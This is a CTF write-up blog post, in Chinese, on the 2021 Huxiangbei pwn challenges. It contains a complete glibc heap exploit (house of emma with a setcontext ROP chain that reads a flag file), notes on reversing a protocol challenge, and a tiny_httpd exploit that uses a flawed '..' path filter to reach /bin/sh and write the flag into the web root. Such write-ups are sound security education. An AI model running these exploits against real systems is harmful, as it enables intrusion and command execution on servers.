2021湖湘杯pwn-wp

house_of_emma

这是看了GD师傅的exp写的,有些地方还是不太清楚原理。
GD师傅的文章:https://mp.weixin.qq.com/s/vdfDBN6uXd0VvI_WwQ-kgw

函数调用链如下:

__GI__IO_puts() -> __GI__IO_default_xsputn() -> __GI__IO_str_overflow() -> __GI___libc_free() -> _int_free() -> malloc_printerr() -> __libc_message() -> __GI__IO_puts() -> __GI__IO_str_overflow() -> *ABS*+0x9e310@plt() -> __vfprintf_internal() -> setcontext+61

exp:

from pwn import * from pwn import p64,u64,p32,u32,p8,p16 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./pwn') # libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so') libc = ELF('./libc.so.6') io = process('./pwn') def add(flag,idx,size): if flag: io.recvuntil('opcode\n') payload = b'\x01' + p8(idx) + p16(size)+b'\x05' io.send(payload) return 0 else: payload = b'\x01' + p8(idx) + p16(size) return payload def delete(flag,idx): if flag: io.recvuntil('opcode\n') payload = b'\x02' + p8(idx)+b'\x05' io.send(payload) return 0 else: payload = b'\x02' + p8(idx) return payload def edit(flag,idx,size,content): if flag: io.recvuntil('opcode\n') payload = b'\x04' + p8(idx) + p16(size) + content+b'\x05' io.send(payload) return 0 else: payload = b'\x04' + p8(idx) + p16(size) + content return payload def show(flag,idx): if flag: io.recvuntil('opcode\n') payload = b'\x03' + p8(idx) + b'\x05' io.send(payload) return 0 else: payload = b'\x03' + p8(idx) return payload def quit(): return b'\x05' def recv(): leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) return leak def exp2(): add(1,0,0x440) add(1,1,0x4a0) add(1,2,0x410) add(1,3,0x490) add(1,4,0x430) add(1,5,0x490) add(1,6,0x430) add(1,9,0x4c0) add(1,10,0x490) add(1,11,0x490) add(1,12,0x490) add(1,13,0x490) add(1,14,0x490) add(1,15,0x490) add(1,16,0x490) delete(1,1) show(1,1) # ********** leak libc address**********# leak = recv() info(hex(leak)) libc_base = leak - 0x1f30d0 info('libc_base == %s'%hex(libc_base)) setcontext = libc_base + 0x50bfd info('setcontext+61 == %s'%hex(setcontext)) main_arena = leak + 0x3f0 tcache_bins = libc_base + 0x1f2390 # mp_->tcache_bins info('tcache_bins == %s'%hex(tcache_bins)) prsi = libc_base + 0x0000000000037c0a # : pop rsi ; ret prdi = libc_base + 0x000000000002daa2 # : pop rdi ; ret prdx = libc_base + 0x00000000001066e1 # : pop rdx ; pop r12 ; ret stdout = libc_base + 0x1f3848 io_stdfile_1_lock = libc_base + 0x1f5730 str_jumps_vtable = libc_base + 0x1f4620 libc_abs = libc_base + 0x1f20b0 # *ABS*@got.plt libc_puts = libc_base + 0x7a050 gadget = libc_base + 0x6f476 # mov rdx,rbx ; mov rsi,r13 ; mov rdi,rbp ; call QWORD PTR [r14+0x38] libc_open = libc_base + libc.sym['open'] libc_read = libc_base + libc.sym['read'] libc_write = libc_base + libc.sym['write'] # ************* 2.31 large bin attack overwrite mp_.tcache_bins ***************# # ************* unsorted bin < largebin (house of storm) *************# io.recvuntil('opcode\n') payload = add(0,7,0x500) payload += delete(0,3) payload += edit(0,1,0x20, p64(main_arena)*2+p64(0)+p64(tcache_bins-0x20)) payload += add(0,8,0x410) payload += quit() io.sendline(payload) # ************ fill tcache and leak heap base ************# for i in range(7): delete(1,i+10) delete(1,9) show(1,11) heap_addr = u64(io.recvuntil(b'\x0a')[-6:-1].ljust(8,b'\x00'))<<12 heap_base = heap_addr - 0x4000 info(hex(heap_base)) gdb.attach(io) # ************** useful chunks ************** # flag_str = heap_base + 0x760 rsp = heap_base + 0x460 v = heap_base + 0x388 # ************** fake _IO_str_jumps ************** # fake = p64(0) fake += p64(v) fake += p64(v+0x22e) fake += p64(libc_abs)*3 fake = fake.ljust(0x58,b'\x00') fake += p64(io_stdfile_1_lock) fake += p64(0)*2 fake += p64(rsp) fake += p64(prdi) fake = fake.ljust(0xa8,b'\x00') fake += p64(str_jumps_vtable) # *************** setcontext orw ROP chain **************# o = p64(gadget)*6 + p64(0) + p64(flag_str) +p64(libc_open) r = p64(prdi) + p64(3) + p64(prsi) + p64(flag_str) + p64(prdx) + p64(0x30)+p64(0) + p64(libc_read) w = p64(prdi) + p64(1) + p64(prsi) + p64(flag_str) + p64(prdx) + p64(0x30)+p64(0) + p64(libc_write) # ***************** exploit ***************** # payload = delete(0,5) payload += show(0,5) payload += show(0,5) payload += show(0,5) payload += show(0,5) payload += show(0,5) payload += edit(0,1,len(fake)+0x20,p64(main_arena)*2 + p64(0) + p64(stdout - 0x20) + fake) payload += add(0,8,0x410) payload += b'\x00'*4 payload += p64(libc_puts) *2 payload += b'\x00' * 0x28 payload += p64(setcontext) payload += b'\x00' *0x60 payload += o payload += r payload += w payload = payload.ljust(0x4c0,b'\x00') + b'./flag' print(len(payload)) # gdb.attach(io,'x/20xg $rebase(0x4040)') io.send(payload) exp2() io.interactive()

Maybe_fun_game_3

加强版2021红明谷原题,双边协议

程序加密输出内容,要求输入密文后对密文解密进行后续操作

  • 获取随机数部分:随机数取模,正向相乘一次,再反向相乘一次,循环,得到0x100大小的内容

    0x00007ffff7fed000│+0x0000: 0x583c237622123c36 0x00007ffff7fed008│+0x0008: 0x3c513c34663c7a0e 0x00007ffff7fed010│+0x0010: 0x3c39193c62683c49 ...... 0x00007ffff7fed0f0│+0x00f0: 0x1b34153c243d3b05 0x00007ffff7fed0f8│+0x00f8: 0x29684a443f127e2d
  • base打印部分:将上面的结果拷贝到bss段中,结构大致如下:

    { name = "wwnalnal"; len = 0x20; result }

    之后把这些内容拷贝到栈里面,然后进入加密函数,根据字符动态取base编码表,然后打印结果

  • 输入内容后对所有字符进行逻辑运算,运算完后使用128个字符的表置换,然后循环8次pow函数,对比是否和“wwnalnal”相同,不同则退出。再次进行8次pow函数,对比结果是否为0x4f,不同则退出。输入函数接收一个参数,用以判断是否进入二次解密函数,若为1则进入二次解密,若为0则不进入,将解密后内容返回

  • 判断解密后的内容是长度是否为1,若为1则进入程序主体,否则输出错误并要求重新输入,之后的内容为菜单堆常规操作

  • 所以解题的关键还是需要去对输入的解密函数做逆运算,输入加密后的内容即可操作菜单。这题没有复现成功,逆向对我来说太太太太太太难了。

tiny_httpd

web pwn,路径穿越,命令执行。题目给出dockerfile,但是也可以直接在虚拟机中运行,注意压缩包需要在虚拟机中再进行解压,我在Mac环境下解压后上传到虚拟机是无法显示index.html的,估计是用户组的原因。并且需要以root权限运行httpd才可以写入index.html

题目给出了源码,对其审计可以发现路径过滤代码可以跨目录请求。命令执行用echo把flag写入index.html即可

源码漏洞点:

/* path filter */ int len = strlen(path); for (i = 0, j = 0; j < len;) { if (path[j] == '.' && path[j + 1] == '.') { j++; } path[i++] = path[j++]; } path[i++] = '\0';

exp

from pwn import * from pwn import p64,u64,p32,u32,p8 context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux','sp','-h'] # elf = ELF('./') # libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') # libc = ELF('') io = remote('172.16.96.5', 9999) def exp(): # cmd = "whoami > ./htdocs/index.html\n" # cmd = "ls > ./htdocs/index.html\n" cmd = "echo `cat ./flag` > ./htdocs/index.html\n" payload = "POST /.../.../.../.../bin/sh HTTP1.1\r\n" payload += "Content-Type:text/html;charset:utf-8\r\n" payload += "Content-Length: {}\r\n\n".format(len(cmd)) payload += cmd io.sendline(payload) exp() io.interactive()

__EOF__

本文作者unr4v31
本文链接https://www.cnblogs.com/unr4v31/p/15569699.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   unr4v31  阅读(1135)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
点击右上角即可分享
微信分享提示